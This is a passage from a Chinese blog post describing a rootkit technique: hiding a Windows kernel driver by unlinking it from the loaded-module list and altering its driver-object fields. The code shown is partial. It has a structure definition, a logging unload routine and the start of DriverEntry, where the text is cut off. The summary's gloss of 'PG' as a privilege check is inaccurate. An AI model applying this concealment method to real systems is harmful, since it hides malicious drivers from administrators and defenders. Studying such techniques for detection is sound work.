[Rootkit] 驱动隐藏 - 断链

最新推荐文章于 2025-10-31 16:32:22 发布

原创

最新推荐文章于 2025-10-31 16:32:22 发布 · 844 阅读

这两段代码展示了如何在驱动程序中实现卸载功能，并在卸载过程中篡改自身模块信息。代码参考1定义了driverdata结构体，并在DriverEntry中篡改驱动数据结构的链接列表。代码参考2则创建线程延迟卸载，并在卸载过程中修改驱动对象的多个字段，以达到篡改模块信息的目的。这两个方法都会触发系统的PG（特权检查）机制。

注意：此方法会触发 PG

代码参考 1

typedef struct _driverdata
{
   
   
	LIST_ENTRY listentry;
	ULONG unknown1;
	ULONG unknown2;
	ULONG unknown3;
	ULONG unknown4;
	ULONG unknown5;
	ULONG unknown6;
	ULONG unknown7;
	UNICODE_STRING path;
	UNICODE_STRING name;
}driverdata;



VOID xiezai1(PDRIVER_OBJECT qudongduixiang)
{
   
   
   
	KdPrint(("驱动卸载\n"));
}
 
NTSTATUS DriverEntry(PDRIVER_OBJECT qudongduixiang, PUNICODE_STRING zhucebiao)
{
   
   
	KdPrint(("驱动入口开始\n"